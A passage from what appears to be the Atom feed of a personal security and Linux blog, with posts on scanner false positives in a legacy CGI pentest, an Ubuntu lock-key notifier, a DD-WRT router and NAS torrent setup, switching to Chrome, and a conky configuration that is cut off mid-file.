href='http://securityborg.blogspot.com/2011/04/bypassing-javascript-cross-domain.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8962022746116920826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8962022746116920826'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2011/04/bypassing-javascript-cross-domain.html' title='How to workaround the Same origin policy using crossdomain.xml and Java in &amp;ltscript&amp;gt tags'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Ti_Nn3au8PI/Tbghwk18XZI/AAAAAAAAACU/lH7C62WdR9g/s72-c/Greenshot_2011-04-27_19-30-57.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-6521241608891796953</id><published>2010-11-26T13:12:00.001-08:00</published><updated>2011-04-27T21:50:42.580-07:00</updated><title type='text'>Static code analysis, gone horribly wrong</title><content type='html'>It's after long time I am posting anything here. Was busy with family stuff and changing jobs. Anyways.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Recently I was asked (as part of my job) to complete the penetration testing for a legacy application. This was a direct result of reported issues from appsec scanners and fair amount of static code analysis (tools and products will stay un-named here), which issued huge number of critical alerts.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Multiple instances of XSS, SQL injection, Command injection, Buffer overflow etc were reported by both Static code analysis and appsec scanner. So what did we have in the soup. Classic CGI with apache's mod_cgi with log4j logging. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;My first thoughts, cocky as always. I start digging; and after two days, I have one high vulnerability. &lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;YES, 1, ONE, &lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;ένα, &lt;/span&gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;एक, JUST ONE. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;All scanners threw was false positives. And this one vulnerability is not reported by any scanners. so what's the secret? Well there are quite a few, &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;1. The application in question went from a command line interface to a web based cloud solution in last 20 years of development.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;2. Developers used minimum 3rd part components, and updated these on time. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" ;font-size:medium;" &gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;3. Inherently scanners are designed for generating issues based on pattern matching which at best is complete guess work.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;4. Security people running these scans had limited understanding of development technology used or chose to report incorrect over the possibility of incomplete.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Moral of the story, &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;1. ALL WEBAPP SCANNERS ARE DUMB. Static code analysis is ill equipped for legacy applications.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;2. Don't be cocky when you see CGI.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;3. Time can't be telescoped. Therefore something that was developed over 20 years by dozens of developers can't be broken in minutes.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;4. Inconsistency of development causes flaws in legacy applications.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;5. Put in the time to find these development inconsistencies, and you shall be rewarded with few vulnerabilities.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;6. Helping fix these bring a lot of satisfaction.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span" style=" ;font-family:arial, sans-serif;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-6521241608891796953?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/6521241608891796953/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2010/11/static-code-analysis-gone-horribly.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/6521241608891796953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/6521241608891796953'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2010/11/static-code-analysis-gone-horribly.html' title='Static code analysis, gone horribly wrong'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-1536230864373817808</id><published>2010-06-25T06:18:00.000-07:00</published><updated>2010-06-25T06:28:02.712-07:00</updated><title type='text'>realtime caps lock and num lock notification in ubuntu</title><content type='html'>My response for &lt;a href="http://ubuntuforums.org/showthread.php?t=1348042"&gt;thread at ubuntu forum&lt;/a&gt;. Python &lt;a href="https://wiki.ubuntu.com/NotificationDevelopmentGuidelines#Layout%20cases%20(with%20examples%20in%20C,%20Python%20and%20C"&gt;notification-osd examples&lt;/a&gt; helped a lot.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;blockquote&gt;Finally the notification is real tnotification-osd examplesime. I used the update method call from notify-osd using python. I needed a service to run in the background, which can independently create and modify notifications, and two trigger scripts to call the service by dbus.&lt;br /&gt;&lt;br /&gt;The dbus service, and two calling scripts were called by python. I used the same xset code in the first reply to get the status of locks.&lt;br /&gt;&lt;br /&gt;The archive contains the following files:&lt;br /&gt;&lt;br /&gt;1. lock_keys - Service python script, must be running for real-time notification toggle. This require caps shell script for usage.&lt;br /&gt;&lt;br /&gt;2. lockNum - trigger python script, used as keyboard binding for num lock.&lt;br /&gt;&lt;br /&gt;3. lockCap - trigger python script, used as keyboard binding for caps lock.&lt;br /&gt;&lt;br /&gt;4. caps - shell script to identify the status of locks.&lt;br /&gt;USAGE:&lt;br /&gt;$&gt; caps caps&lt;br /&gt;$&gt; caps num&lt;br /&gt;&lt;br /&gt;The way to install this is to navigate to download directory and run the following commands:&lt;br /&gt;Quote:&lt;br /&gt;$&gt; tar -xvzf lock_Notify.tar.gz&lt;br /&gt;$&gt; cd lock_Notify/&lt;br /&gt;$&gt; chmod a+x *&lt;br /&gt;$&gt; sudo mv * /bin&lt;br /&gt;[sudo] password for user:&lt;br /&gt;&lt;br /&gt;Now open System -&gt; Preferences -&gt; Startup Applications&lt;br /&gt;Add /bin/lock_keys to startup.&lt;br /&gt;&lt;br /&gt;Open System -&gt; Preferences -&gt; CCSM,&lt;br /&gt;Add command 1 = lockNum&lt;br /&gt;Add command 2 = lockCap&lt;br /&gt;And add num lock and caps lock shortcuts to these commands from CCSM.&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-1536230864373817808?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/1536230864373817808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2010/06/realtime-caps-lock-and-num-lock.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/1536230864373817808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/1536230864373817808'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2010/06/realtime-caps-lock-and-num-lock.html' title='realtime caps lock and num lock notification in ubuntu'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-7147516324814302307</id><published>2010-06-25T05:29:00.000-07:00</published><updated>2011-04-27T23:17:40.904-07:00</updated><title type='text'>DD-WRT router setup with NAS to download torrents without a computer</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.transmissionbt.com/images/screenshots/Clutch-Large.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 700px; height: 500px;" src="http://www.transmissionbt.com/images/screenshots/Clutch-Large.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Firstly, Above is NOT my screenshot. Its just there to give you an Idea,&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span"  style="color:#551A8B;"&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;/blockquote&gt;Finally I got around to installing &lt;a href="http://www.dd-wrt.com/wiki/index.php/Optware"&gt;optware&lt;/a&gt; on my &lt;a href="http://www.amazon.com/Cisco-Linksys-WRT160N-Wireless-N-Broadband-Router/dp/B000Z3U1P6/ref=sr_1_1?ie=UTF8&amp;amp;s=electronics&amp;amp;qid=1277469223&amp;amp;sr=8-1"&gt;wrt160N v3&lt;/a&gt; router, and using the router to download torrents to my &lt;a href="http://www.buffalo-technology.com/products/external-drives/drivestation/hd-celu2-drivestation-2share/"&gt;buffalo NAS&lt;/a&gt; (1TB). &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I bought the router and the NAS drive at around 150$ (router was a refurbished unit).  The router was flashed with DD-WRT (DD-WRT v24-sp2 (04/23/10) std-nokaid-small) firmware which had CIFS support to mount the NAS. Then used the optware installation guide (&lt;a href="http://www.blogger.com/post-create.g?blogID=299402845849981080#Option_C:_Partition-in-a-file_on_CIFS_for_.2Fopt" style="text-decoration: underline; color: rgb(0, 51, 102); background-image: none; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: initial initial; background-repeat: initial initial; "&gt;Option C: Partition-in-a-file on CIFS for /opt&lt;/a&gt;) &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some notes and screenshots:&lt;blockquote&gt;&lt;blockquote&gt;&lt;div&gt;&lt;i&gt;mount.cifs //hd-celu2-2966/share /tmp/smbshare -o sec=none&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;insmod /tmp/smbshare/loop.ko&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;insmod /tmp/smbshare/ext2.ko&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;nvram set sys_enable_jffs2=1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;mkdir /tmp/swap&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;mount --bind /tmp/smbshare/jffs /jffs&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;mount -o loop /tmp/smbshare/opt.ext2 /opt&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;mount -o loop /tmp/smbshare/swap.ext2 /tmp/swap&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;/opt/sbin/swapon /tmp/swap/swapfile&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;/usr/sbin/iptables -I INPUT 1 -p tcp --dport 25000 -j logaccept&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;transmission-daemon -g /tmp/smbshare/torrents/.config/transmission-daemon&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;Then I used &lt;a href="http://www.google.com/support/chrome/bin/answer.py?answer=95710"&gt;chrome to create application shortcut &lt;/a&gt;to the transmission web interface. The interface is very functional. I Have been using this interface from psp and my e63 browser (over wifi). &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-7147516324814302307?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/7147516324814302307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2010/06/dd-wrt-router-setup-with-nas-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/7147516324814302307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/7147516324814302307'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2010/06/dd-wrt-router-setup-with-nas-to.html' title='DD-WRT router setup with NAS to download torrents without a computer'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-6092970785747923065</id><published>2010-01-24T23:23:00.000-08:00</published><updated>2010-01-24T23:40:04.428-08:00</updated><title type='text'>Final Switch to Chrome</title><content type='html'>I have finally moved to chrome. The new chrome extensions are awesome (still beta). I still use the firefox for pentest, however chrome with adThwart/adblock and IE-tabs (for Outlook Web Exchange) rocks. &lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;div&gt;It is a sad indication that Mozilla may again loose the browser war to google, I know that firefox 3.6 is improved, and I love it, but Chrome with extensions is far more powerful and lightweight.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I have been a firefox convert from the time it was launched, and have been addicted to firefox for five years now. I still remember the joy, when I first saw extensions on firefox. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I am saddened. Firefox, you will be missed.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-6092970785747923065?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/6092970785747923065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2010/01/final-switch-to-chrome.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/6092970785747923065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/6092970785747923065'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2010/01/final-switch-to-chrome.html' title='Final Switch to Chrome'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-4342015662752225979</id><published>2009-11-24T11:14:00.000-08:00</published><updated>2009-11-24T11:26:12.571-08:00</updated><title type='text'>Conky and compiz on my multi monitor setup</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_YQCDsDRqeQI/SwwzNeKxspI/AAAAAAAAABw/zTkIc3618rM/s1600/Screenshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 147px;" src="http://1.bp.blogspot.com/_YQCDsDRqeQI/SwwzNeKxspI/AAAAAAAAABw/zTkIc3618rM/s400/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5407753559094702738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_YQCDsDRqeQI/SwwxoRui48I/AAAAAAAAABo/KSHTRlXDLro/s1600/Screenshot-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 147px;" src="http://2.bp.blogspot.com/_YQCDsDRqeQI/SwwxoRui48I/AAAAAAAAABo/KSHTRlXDLro/s400/Screenshot-2.png" alt="" id="BLOGGER_PHOTO_ID_5407751820588278722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I am running this on a 4 year old laptop, AMD turion 1.8 Ghz, 1 GB Ram. Now my .conkyrc file below, special thx to ubuntu forum conky thread.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;# System stats bar&lt;br /&gt;&lt;br /&gt;# Create own window instead of using desktop (required in nautilus)&lt;br /&gt;own_window yes&lt;br /&gt;own_window_type panel&lt;br /&gt;own_window_transparent no&lt;br /&gt;own_window_hints undecorated, above, skip_taskbar,skip_pager&lt;br /&gt;&lt;br /&gt;# Use double buffering (reduces flicker, may not work for everyone)&lt;br /&gt;double_buffer yes&lt;br /&gt;&lt;br /&gt;# fiddle with window&lt;br /&gt;#use_spacer right&lt;br /&gt;&lt;br /&gt;# Use Xft?&lt;br /&gt;use_xft yes&lt;br /&gt;xftfont unDotum:size=8&lt;br /&gt;xftalpha 2&lt;br /&gt;text_buffer_size 2048&lt;br /&gt;&lt;br /&gt;# Update interval in seconds&lt;br /&gt;update_interval 1.0&lt;br /&gt;&lt;br /&gt;# Minimum size of text area&lt;br /&gt;minimum_size 220 5&lt;br /&gt;maximum_width 255&lt;br /&gt;&lt;br /&gt;# Draw shades?&lt;br /&gt;draw_shades no&lt;br /&gt;&lt;br /&gt;# Text stuff&lt;br /&gt;draw_outline no # amplifies text if yes&lt;br /&gt;draw_borders no&lt;br /&gt;uppercase no # set to yes if you want all text to be in uppercase&lt;br /&gt;&lt;br /&gt;# Stippled borders?&lt;br /&gt;stippled_borders 3&lt;br /&gt;&lt;br /&gt;# border margins&lt;br /&gt;#border_margin 9&lt;br /&gt;&lt;br /&gt;# border width&lt;br /&gt;#border_width 5&lt;br /&gt;&lt;br /&gt;# Default colors&lt;br /&gt;override_utf8_locale yes&lt;br /&gt;# Text alignment, other possible values are commented&lt;br /&gt;alignment top_right&lt;br /&gt;&lt;br /&gt;# Gap between borders of screen&lt;br /&gt;gap_x 10&lt;br /&gt;gap_y 0&lt;br /&gt;&lt;br /&gt;# Possible variables to be used:&lt;br /&gt;#&lt;br /&gt;#      Variable         Arguments                  Description              &lt;br /&gt;#  acpiacadapter                     ACPI ac adapter state.                 &lt;br /&gt;#  acpifan                           ACPI fan state                         &lt;br /&gt;#  acpitemp                          ACPI temperature.                      &lt;br /&gt;#  adt746xcpu                        CPU temperature from therm_adt746x     &lt;br /&gt;#  adt746xfan                        Fan speed from therm_adt746x           &lt;br /&gt;#  battery           (num)           Remaining capasity in ACPI or APM      &lt;br /&gt;#                                    battery. ACPI battery number can be    &lt;br /&gt;#                                    given as argument (default is BAT0).   &lt;br /&gt;#  buffers                           Amount of memory buffered              &lt;br /&gt;#  cached                            Amount of memory cached                &lt;br /&gt;#  color             (color)         Change drawing color to color          &lt;br /&gt;#  cpu                               CPU usage in percents                  &lt;br /&gt;#  cpubar            (height)        Bar that shows CPU usage, height is    &lt;br /&gt;#                                    bar's height in pixels                 &lt;br /&gt;#  downspeed         net             Download speed in kilobytes            &lt;br /&gt;#  downspeedf        net             Download speed in kilobytes with one   &lt;br /&gt;#                                    decimal                                &lt;br /&gt;#  exec              shell command   Executes a shell command and displays  &lt;br /&gt;#                                    the output in torsmo. warning: this    &lt;br /&gt;#                                    takes a lot more resources than other  &lt;br /&gt;#                                    variables. I'd recommend coding wanted &lt;br /&gt;#                                    behaviour in C and posting a patch :-).&lt;br /&gt;#  execi             interval, shell Same as exec but with specific interval.&lt;br /&gt;#                    command         Interval can't be less than            &lt;br /&gt;#                                    update_interval in configuration.      &lt;br /&gt;#  fs_bar            (height), (fs)  Bar that shows how much space is used on&lt;br /&gt;#                                    a file system. height is the height in &lt;br /&gt;#                                    pixels. fs is any file on that file    &lt;br /&gt;#                                    system.                                &lt;br /&gt;#  fs_free           (fs)            Free space on a file system available  &lt;br /&gt;#                                    for users.                             &lt;br /&gt;#  fs_free_perc      (fs)            Free percentage of space on a file     &lt;br /&gt;#                                    system available for users.            &lt;br /&gt;#  fs_size           (fs)            File system size                       &lt;br /&gt;#  fs_used           (fs)            File system used space                 &lt;br /&gt;#  hr                (height)        Horizontal line, height is the height in&lt;br /&gt;#                                    pixels                                 &lt;br /&gt;#  i2c               (dev), type, n  I2C sensor from sysfs (Linux 2.6). dev &lt;br /&gt;#                                    may be omitted if you have only one I2C&lt;br /&gt;#                                    device. type is either in (or vol)     &lt;br /&gt;#                                    meaning voltage, fan meaning fan or temp&lt;br /&gt;#                                    meaning temperature. n is number of the&lt;br /&gt;#                                    sensor. See /sys/bus/i2c/devices/ on   &lt;br /&gt;#                                    your local computer.                   &lt;br /&gt;#  kernel                            Kernel version                         &lt;br /&gt;#  loadavg           (1), (2), (3)   System load average, 1 is for past 1   &lt;br /&gt;#                                    minute, 2 for past 5 minutes and 3 for &lt;br /&gt;#                                    past 15 minutes.                       &lt;br /&gt;#  machine                           Machine, i686 for example              &lt;br /&gt;#  mails                             Mail count in mail spool. You can use  &lt;br /&gt;#                                    program like fetchmail to get mails from&lt;br /&gt;#                                    some server using your favourite       &lt;br /&gt;#                                    protocol. See also new_mails.          &lt;br /&gt;#  mem                               Amount of memory in use                &lt;br /&gt;#  membar            (height)        Bar that shows amount of memory in use &lt;br /&gt;#  memmax                            Total amount of memory                 &lt;br /&gt;#  memperc                           Percentage of memory in use            &lt;br /&gt;#  new_mails                         Unread mail count in mail spool.       &lt;br /&gt;#  nodename                          Hostname                               &lt;br /&gt;#  outlinecolor      (color)         Change outline color                   &lt;br /&gt;#  pre_exec          shell command   Executes a shell command one time before&lt;br /&gt;#                                    torsmo displays anything and puts output&lt;br /&gt;#                                    as text.                               &lt;br /&gt;#  processes                         Total processes (sleeping and running) &lt;br /&gt;#  running_processes                 Running processes (not sleeping),      &lt;br /&gt;#                                    requires Linux 2.6                     &lt;br /&gt;#  shadecolor        (color)         Change shading color                   &lt;br /&gt;#  stippled_hr       (space),        Stippled (dashed) horizontal line      &lt;br /&gt;#                    (height)      &lt;br /&gt;#  swapbar           (height)        Bar that shows amount of swap in use   &lt;br /&gt;#  swap                              Amount of swap in use                  &lt;br /&gt;#  swapmax                           Total amount of swap                   &lt;br /&gt;#  swapperc                          Percentage of swap in use              &lt;br /&gt;#  sysname                           System name, Linux for example         &lt;br /&gt;#  time              (format)        Local time, see man strftime to get more&lt;br /&gt;#                                    information about format               &lt;br /&gt;#  totaldown         net             Total download, overflows at 4 GB on   &lt;br /&gt;#                                    Linux with 32-bit arch and there doesn't&lt;br /&gt;#                                    seem to be a way to know how many times&lt;br /&gt;#                                    it has already done that before torsmo &lt;br /&gt;#                                    has started.                           &lt;br /&gt;#  totalup           net             Total upload, this one too, may overflow&lt;br /&gt;#  updates                           Number of updates (for debugging)      &lt;br /&gt;#  upspeed           net             Upload speed in kilobytes              &lt;br /&gt;#  upspeedf          net             Upload speed in kilobytes with one     &lt;br /&gt;#                                    decimal                                &lt;br /&gt;#  uptime                            Uptime                                 &lt;br /&gt;#  uptime_short                      Uptime in a shorter format             &lt;br /&gt;#&lt;br /&gt;#  seti_prog                         Seti@home current progress&lt;br /&gt;#  seti_progbar      (height)        Seti@home current progress bar&lt;br /&gt;#  seti_credit                       Seti@hoome total user credit&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# variable is given either in format $variable or in ${variable}. Latter&lt;br /&gt;# allows characters right after the variable and must be used in network&lt;br /&gt;# stuff because of an argument&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;# stuff after 'TEXT' will be formatted on screen&lt;br /&gt;&lt;br /&gt;TEXT&lt;br 